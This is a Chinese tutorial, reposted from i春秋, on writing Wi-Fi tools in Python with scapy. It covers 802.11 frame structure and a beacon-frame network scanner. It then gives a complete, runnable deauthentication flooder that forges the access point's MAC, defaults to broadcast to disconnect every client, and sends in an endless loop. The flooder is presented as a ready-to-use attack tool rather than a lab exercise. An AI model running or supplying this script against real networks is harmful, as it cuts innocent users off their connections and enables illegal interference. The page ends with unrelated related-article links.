本文来源于i春秋学院,未经允许严禁转载。

0x00 前言
因为在百度上很难找到有关于用python打造WiFidos的工具的,而且不希望大家成为一名脚本小子,所以我打算写一篇,需要的工具有scapy,iwconfig(能开启你网卡监听功能的工具),当然少不了python,我这里是kali2.0的环境,所以可能跟你们的有所不同
0x01配置scapy
先打开python2.7解释器,scapy是只支持2.x的,不支持3,先输入下列命令,在python解释器里面

from scapy.all import *

会出现如下图的显示
 
这种情况是因为他有IPV6的东西包含了进去,这些东西不必要而且还影响整个程序的美观,所以要把这东西去掉。
在kali里面scapy有好几个,但是真正是给python用的就是这个路径:usr/share/pyshared/scapy
 
打开all.py把里面导入ipv6的东西注释掉
 
把这3行注释了在用一下

from scapy.all import *

这次就不会有那个东西了
 
但是我们还没有配置完,还有一个地方要配置,因为scapy的send函数,只要发送一个数据包就会执行

print "send %s packets"

还有

os.write(1,'.')

但是我们如果要发送多个数据包的时候,那这种功能就变成刷屏了,
这些功能是在:usr/share/pyshared/scapy下一个叫sendrecv,我这里直接搜索了
 
打开这个文件,找到__gen_send这个函数,然后把他的输出的地方注释了,然后在底下输入pass,不然会报错,如下图所示
 
好了我们现在就算配置完毕了。
0x02 802.11数据包结构简单分析 (不会对原理过多讲解)
要用wireshark捕获802.11数据包首先要让网卡变成监听模式
下面是iwconfig方法开启

ifconfig iface down

iwconfig iface mode monitor

ifconfig iface up

下面是aircrack-ng开启

airmon-ng start iface

2种方法都行,现在开始分析
首先802.11数据包有一个RadioTap头
 
注意我箭头指着的地方,那里就是RadioTap头,radiotap包含一些关于数据帧的额外信息,想了解更多可以参考http://www.radiotap.org
之后就是IEEE 802.11数据
 
这里只提几个地方
第一个Type/Subtype,简单来说,就是来声明这个数据包是什么拿来干什么的。
第二个就是receiver address(RA)和destination address(DA),为什么要把这2个放在一起讲呢,就是因为这2个其实是完全一样的,如下图
 
2个的数据包真实的地方是完全一样的,这个地址代表最终要到达的地方
第三个就是transmitter address(TA)和source address(SA),他们跟第二个也是相同,都是一样的,所以一起讲,TA就是当前发送数据包的地址,SA代表源发送地址,所以都是自己
第四个就是bssid,bssid就是路由器的地址
第五个就是ESSID(ESSID就是WiFi的名字),只会出现在type/subtype是0/8,也就是beacon frame的时候,beacon frame就是用来通知别人他的存在,里面会包含一些其他数据,其中就有ESSID,这个数据包不是上面4个那样,他是跟在他们屁股后面的,如图
 
essid就在如下图的地方
 
0x03 打造一款简易WiFi探测器
现在基础的部分讲完,开始真正实战了。
首先看看我们需要的数据包,scapy是一款很强大的工具,提供各种数据包类型,可以用ls()查看
这里我们只需要和802.11相关的,也就是如下图所示
 
也就是RadioTap()   Dot11()   Dot11Elt,当然,还有一个Dot11Deauth,但是不是这个小节要讲的,所以先不说RadioTap()也不用怎么讲,知道他是第一个就好了,这些都是用来构造数据包的方法
先来看看Dot11这个数据包
 
这里addr1就是刚刚的RA DA,addr2就是TA SA,addr3就是BSSID,(应该是这样,我也不能肯定,如果有错尽管指出
在来看看Dot11Elt
 
这里info就是ESSID了,
还有一个函数需要了解一下,就是sniff(),他的功能就跟他的名字一样,用来嗅探的,他有1个参数需要提一下,prn=func,当嗅探到一个数据包的时候就会调用func,并且把数据包传给func
现在该说的都说了,我就把代码全部拿出来吧

#coding:utf-8

from scapy.all import *

wifi = {}

def scan(packet):

    dot = packet.getlayer(Dot11)#从数据包里面提取Dot11这一层的数据,如果没有这一层,返回None

    if dot != None:

        elt = dot.getlayer(Dot11Elt)#从数据包提取Dot11Elt这一层的数据

        if elt != None:

             

            if dot.type == 0 and dot.subtype == 8:#检查是否为beacon frame数据包,因为beacon frame是用来通知用户自己的存在的

                     bssid = dot.addr3.upper()#提取BSSID

                     essid = elt.info#提取ESSID

                     if not wifi.has_key(bssid):#检查是否已经存在字典中,以免打印重复

                         wifi[bssid]=essid

                         if essid == "":#有些路由器会隐藏自己的ESSID所以这里为空

                             essid = "<hidden>"

                         print essid+": "+bssid

sniff(prn=scan)#绑定scan函数

 
这就是运行效果,第一行我之前没有去掉,所以有第一行
0x04 打造WiFiDDOS器
如何DDOSWiFi呢,其实很简单,因为802.11的设计导致的,这里有一个Deauth数据,当路由器或者用户发生一些问题的时候,路由器就会发送Deauth数据包来告诉用户不能连接了,然后用户就会与路由器断开连接,所以我们就模拟这种数据包,发送数据包,来达到断网
当要发送Deauth数据包的时候,Dot11的type/subtype是0/12的时候,因为type默认为0,所以待会构造数据包的时候只用让subtype等于0xC就好,然后一个Dot11Deauth会跟在Dot11后面,就像如图的那种关系
 
就类似与这样的关系,代码就是这样构造的

RadioTap()\Dot11()\Dot11Deauth()

有1个函数要介绍一下sendp,工作在第二层用来发送数据包的,有一个参数要说一下,就是iface=网卡,用来设置什么网卡来发送数据包的,要发送的数据包直接放在参数第一个,比如数据包的名字叫pkt,网卡为wlan0,那就是sendp(pkt,iface='wlan0')

#coding:utf-8

import sys

from scapy.all import *

from optparse import OptionParser#这个我不讲,因为不是本章重点,请自行百度

usage="Usage:%prog -i interface -t packet-type -a bssid -c client-MAC(optional)"

parser=OptionParser(usage)

parser.add_option('-i',dest="interface",help="network card")

parser.add_option('-t',dest="type",help="the reason for the termination code,0-9(optional)")

parser.add_option('-a',dest="bssid",help="the Access Point you want to attack")

parser.add_option('-c',dest="c_mac",help="the client's MAC address(optional)")

(options,args) = parser.parse_args()

if len(sys.argv) < 2:

    parser.print_help()

    sys.exit(0)

elif options.interface is None or \

     options.bssid is None:

        parser.print_help()

        sys.exit()

c_mac = options.c_mac

t_type = options.type

iface = options.interface

bssid = options.bssid

if t_type == None:

    t_type = 0

if c_mac == None:

    c_mac = "ff:ff:ff:ff:ff:ff".upper()#如果用户没有输入地址,就赋值为广播地址(让连接WiFi的全部断网)

pkt = RadioTap()/\

Dot11(subtype=0x00c,addr1=c_mac,addr2=bssid,addr3=bssid)/\#addr1为最终要到达的地址,addr2为来源地址这伪造成路由器MAC,addr3就不说了,subtype为0x00c代表为Deauth数据包

Dot11Deauth(reason=int(t_type))#定义为什么会断线

while True:

    sendp(pkt,iface=iface)#无限发送数据包

0x05 结束语
我写这篇文章,主要的目的就是不希望大家成为一名脚本小子,只会用别人的工具,而不能自己开发工具,我感觉这样是很窝囊的,一辈子只能活在别人的脚下。

教你用python打造WiFiddos的更多相关文章

  1. 【python】10分钟教你用python打造贪吃蛇超详细教程

    10分钟教你用python打造贪吃蛇超详细教程 在家闲着没妹子约, 刚好最近又学了一下python,听说pygame挺好玩的.今天就在家研究一下, 弄了个贪吃蛇出来.希望大家喜欢. 先看程序效果: 0 ...

  2. 10分钟教你用Python打造微信天气预报机器人

    01 前言 最近武汉的天气越来越恶劣了.动不动就下雨,所以,拥有一款好的天气预报工具,对于我们大学生来说,还真是挺重要的了.好了,自己动手,丰衣足食,我们来用Python打造一个天气预报的微信机器人吧 ...

  3. 10分钟教你用Python打造天气机器人+关键字自动回复+定时发送

    01 前言 Hello,各位小伙伴.自上次我们介绍了Python实现天气预报的功能以后,那个小程序还有诸多不完善的地方,今天,我们再次来完善一下我们的小程序.比如我们想给机器人发“天气”等关键字,它就 ...

  4. “猜你喜欢”的背后揭秘--10分钟教你用Python打造推荐系统

    欲直接下载代码文件,关注我们的公众号哦!查看历史消息即可! 话说,最近的瓜实在有点多,从我科校友李雨桐怒锤某男.陈羽凡吸毒被捕.蒋劲夫家暴的三连瓜,到不知知网翟博士,再到邓紫棋解约蜂鸟.王思聪花千芳隔 ...

  5. 手把手教你用python打造网易公开课视频下载软件5-python生成exe程序

    python程序生成exe文件,使用的是py2exe扩展包,下面写下具体的步骤: 第一步:新建conver2exe.py,内容如下: #coding:utf-8 from distutils.core ...

  6. 手把手教你用python打造网易公开课视频下载软件4-图形化界面

    上一篇讲解完函数:def getdownLoadInfo (url): 传入公开课的url地址,就可以提取课程的信息,这一篇讲解一下如何编写图像化界面.大概思考一下图像化界面需要的内容: (1)一个标 ...

  7. 手把手教你用python打造网易公开课视频下载软件2-编码相关说明

    函数getdownLoadInfo(url)主要实现核心功能:根据url地址,获取课程信息:课程名(courseTitle),课程数目(courseCount),可下载视频数目(videoCount) ...

  8. 手把手教你用python打造网易公开课视频下载软件1-总述

    写作前面的话:最近准备重温一下算法导论,感谢大网易把MIT算法导论课程全部贴出来,地址为:http://v.163.com/special/opencourse/algorithms.html,在线看 ...

  9. 手把手教你用python打造网易公开课视频下载软件3-对抓取的数据进行处理

    上篇讲到抓取的数据保存到rawhtml变量中,然后通过编码最终保存到html变量当中,那么html变量还会有什么问题吗?当然会有了,例如可能html变量中的保存的抓取的页面源代码可能有些标签没有关闭标 ...

随机推荐

  1. pyqt---------事件与信号处理

    pyqt:信号与槽的关系 GUI应用程序是事件驱动的. 事件主要由应用程序的用户生成. 但它们也可以通过其他手段产生,例如:网络连接,窗口管理器或定时器. 当我们调用应用程序的exec_()方法时,应 ...

  2. 数据库设计,表与表的关系,一对多。One-To-Many(2)

    一对多:主键数据表中只能包含一个记录,而在其关系记录表中这条记录可以与一个或多个记录相关,也可以没有记录与之相关. 关联映射:一对多/多对一存在最普遍的映射关系,简单来讲就如球员与球队的关系:一对多: ...

  3. JAVA类与类之间的全部关系简述+代码详解

    本文转自: https://blog.csdn.net/wq6ylg08/article/details/81092056类和类之间关系包括了 is a,has a, use a三种关系(1)is a ...

  4. cdnbest区域里快速配置全部节点的缓存

    1.在cdn后台区域中自定义区域配置中添加下面代码,具体参数也可自行调整,代码解释在文档最下面有 <!--#start --> <config> <lang>zh_ ...

  5. php RSA非对称加密 的实现

    基本概念 加密的意义 加密的意义在于数据的传输过程中,即使被第三方获取到传输的数据,第三方也不能获取到数据的具体含义. 加密方式分为对称加密和非对称加密 什么是对称加密? 对称加密只使用一个秘钥,加密 ...

  6. Python练习-迭代-2018.11.28

    #遍历list L=['a','b','c','d'] l=[] a=0 for n in L: l.insert(a,n) a=a+1 print(l) #遍历dict里的key,导出为list L ...

  7. http 连接 analysis service (ssas)

    当数据仓库搭建好后,我们就可以通过sqlserver的管理工具查看服务器上的数据集了.但是这样挺不方便的,如果要远程访问,那么就可以通过http来连接数据仓库.要配置数据仓库http连接非常的简单.如 ...

  8. SQL Server 定价及授权方式

    https://www.microsoft.com/zh-cn/sql-server/sql-server-2017-pricing http://www.360doc.com/content/15/ ...

  9. [leetcode]18. 4Sum四数之和

    Given an array nums of n integers and an integer target, are there elements a, b, c, and d in nums s ...

  10. ABP框架提示框

    abp.message.info('some info message', 'some optional title');abp.message.success('some success messa ...